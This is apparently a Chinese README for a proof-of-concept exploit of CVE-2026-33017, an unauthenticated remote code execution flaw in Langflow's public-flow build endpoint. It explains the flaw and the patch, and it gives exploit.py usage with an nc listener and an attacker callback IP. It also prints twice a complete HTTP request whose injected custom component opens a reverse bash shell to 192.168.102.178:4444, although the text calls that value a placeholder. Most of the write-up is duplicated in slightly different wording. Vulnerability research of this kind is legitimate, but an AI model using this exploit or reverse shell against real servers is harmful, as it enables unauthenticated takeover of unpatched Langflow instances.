★ CVE-2026-33017 Langflow 远程代码执行 PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
使用以下命令构建并运行存在漏洞的 Langflow 环境:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
启动存在漏洞的 Langflow 实例后,使用目标 URL、公共流程 ID 和攻击者回调地址运行 PoC。
选项 A — 使用你自己的监听器:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
选项 B — 使用内置监听器(--listen):
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
CVE-2026-33017 是 Langflow 公共流程构建过程中的一个远程代码执行(RCE)漏洞。Langflow 是一个用于可视化构建 LLM 应用和 AI 工作流的开源平台。
攻击者无需认证即可向build_public_tmp端点发送精心构造的流程数据,从而在服务器上执行任意 Python 代码。
CVE-2026-33017 影响 Langflow 中的以下公共流程构建端点。Langflow 是一个用于可视化创建 LLM 应用和 AI 工作流的开源平台。
POST /api/v1/build_public_tmp/{flow_id}/flow
公共流程(Public flow) 是 Langflow 中设计用于通过链接或类似机制与其他用户共享的流程。
为了支持该功能,构建端点会读取流程的节点、边和设置,然后构造运行所需的内部执行图,从而在无需认证的情况下准备流程执行。
问题在于,存在漏洞的 build_public_tmp 版本不仅接受服务器上存储的公共流程信息,还接受请求体中提供的 data 字段。
该 data 字段可以包含完整的流程定义,包括:
因此,攻击者可以利用未经认证的请求注入完全由攻击者控制的流程结构,而无需依赖服务器上存储的合法公共流程。
该设计的一个特别危险之处在于**自定义组件(Custom Component)**功能。
在 Langflow 中,组件是负责输入处理、模型调用或输出生成等任务的独立功能块。自定义组件是一种可扩展的块,允许用户直接以 Python 代码定义其行为。
因此,攻击者可以在精心构造的 data 对象中嵌入包含恶意 Python 代码的自定义组件,而服务器会将其当作流程的正常组成部分进行处理。结果,注入的代码会在构建或执行过程中被解析并执行,最终导致远程代码执行。
| 分类 | 版本 |
|---|---|
| 受影响 | Langflow 1.9.0 之前的版本 |
| 已修复 | Langflow 1.9.0 及更高版本 |
GitHub 安全公告将受影响范围列为
<= 1.8.2,但修复措施——移除data参数——是在 1.9.0 中实现的。因此,1.9.0 之前的所有版本(包括 1.8.3 / 1.8.4)均受影响,这也是 CVE 记录中标注为< 1.9.0的原因。
成功利用此漏洞可能使攻击者控制 Langflow 服务器并执行后续操作,例如:
以下 PoC 演示了 Langflow 1.8.1 上的 CVE-2026-33017 漏洞。
攻击者首先识别目标公共流程的 flow_id。

攻击者发送一个 build_public_tmp 请求,注入一个自定义组件,其 Python code 会在临时构建期间于服务器上执行。在下面的请求中,code 值留作占位符——请自行填入 payload(参见请求下方的说明)。
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
在构建过程中,嵌入自定义组件的代码会在服务器上执行。当使用反弹 Shell 变体(由 exploit.py 自动化)时,会与攻击者的监听器建立连接,使攻击者获得交互式 Shell,从而在服务器上执行任意命令。

尽管 build_public_tmp 本应用于构建公共流程,但存在漏洞的版本仍然接受直接来自请求体的 data 字段。
由于这种设计,攻击者提供的 data 会直接进入服务器端构建逻辑,任何嵌入自定义组件中的 Python 代码都会被当作合法流程的一部分来处理。
因此,攻击者无需依赖服务器上存储的原始公共流程。相反,他们可以注入完全由自己构造的恶意流程定义,包括可在服务器上执行的代码。
补丁发布后,build_public_tmp 不再接受外部提供的 data。
换言之,此前允许攻击者通过请求体注入整个流程定义的路径已被移除,这也阻止了通过恶意自定义组件执行任意代码。

73b6612e3ef25fdae0a752d75b0fabd47328d4f0CVE-2026-33017 是开源 AI 工作流平台 Langflow 在公共流程构建过程中出现的远程代码执行(RCE)漏洞。
攻击者无需认证即可向build_public_tmp端点提交被操纵的流程数据,从而在服务器端诱导执行任意 Python 代码。
CVE-2026-33017 发生在 Langflow 的公共流程构建端点,即以下 API。Langflow 是一个可以可视化构建 LLM 应用和 AI 工作流的开源平台。
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow 的公共流程是对外公开的流程,其他用户可以通过链接等方式加载和使用。
该功能被设计为无需认证即可将流程准备为可执行状态。构建端点会根据构成流程的节点、连接关系和配置值生成内部执行图,并准备各个块使其能够实际运行。
问题在于,存在漏洞的 build_public_tmp 端点也会接受请求体中的 data 值。
该 data 中可能包含以下完整的流程定义:
也就是说,攻击者可以通过未经认证的请求,注入自己构造的整个流程结构,以替代服务器上存储的正常流程。
其中尤其危险的因素是自定义组件(Custom Component)。
在 Langflow 中,组件是负责输入处理、模型调用、输出生成等单项功能的块,而自定义组件是用户可以用 Python 代码直接定义的扩展型块。
攻击者可以在被操纵的 data 中插入包含恶意 Python 代码的自定义组件,服务器会将其当作正常的流程组成部分来处理。结果,这些代码会在构建/执行流程中被实际解释并执行,从而实现远程代码执行。
| 分类 | 版本 |
|---|---|
| 受影响版本 | Langflow 低于 1.9.0 |
| 已修复版本 | Langflow 1.9.0 及以上 |
GitHub 安全公告将影响范围标注为
<= 1.8.2,但实际补丁(移除data参数)是在 1.9.0 中实现的。因此,包括 1.8.3、1.8.4 在内,1.9.0 之前的所有版本均受影响,CVE 记录也将其标注为< 1.9.0。
通过该漏洞,攻击者可以在控制 Langflow 服务器后执行进一步操作。典型影响如下:
以下 PoC 是在 Langflow 1.8.1 环境中复现 CVE-2026-33017 的示例。
攻击者首先确定作为攻击目标的公共流程的 flow_id。

攻击者发送经过操纵的 build_public_tmp 请求,使自定义组件的 Python code 在临时构建过程中于服务器上执行。下面请求中的 code 值作为占位符留空,需要自行填入 payload(参见请求下方的说明)。
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
在构建过程中,自定义组件中包含的代码会在服务器上执行。使用 exploit.py 自动化的反弹 Shell 方式时,会与攻击者一方的监听器建立连接,攻击者即可获得可在服务器上执行任意命令的交互式 Shell。

尽管存在漏洞的 build_public_tmp 端点是用于公共流程的构建 API,但它仍能直接从请求体中接收 data 值。
正因为这种设计,攻击者提交的 data 会被原样反映到服务器端构建逻辑中,其中包含的自定义组件 Python 代码也会被当作正常流程组成部分来处理。
最终,攻击者可以不依赖服务器上存储的原始公共流程,而是直接注入自己创建的恶意流程定义,其中包含的恶意代码便可在服务器上执行。
补丁发布后,build_public_tmp 已修改为不再从外部请求接收 data。
也就是说,攻击者通过请求体注入流程定义本身的路径已被阻断,由此通过自定义组件执行任意代码也已不可行。

73b6612e3ef25fdae0a752d75b0fabd47328d4f0| 选项 | 说明 |
|---|
--url | 目标 Langflow 服务器 URL |
--flow-id | 共享公共流程的 UUID |
--lhost | 攻击者回调 IP |
--lport | 攻击者回调端口 |
--listen | 使用内置监听器,而非外部的 nc |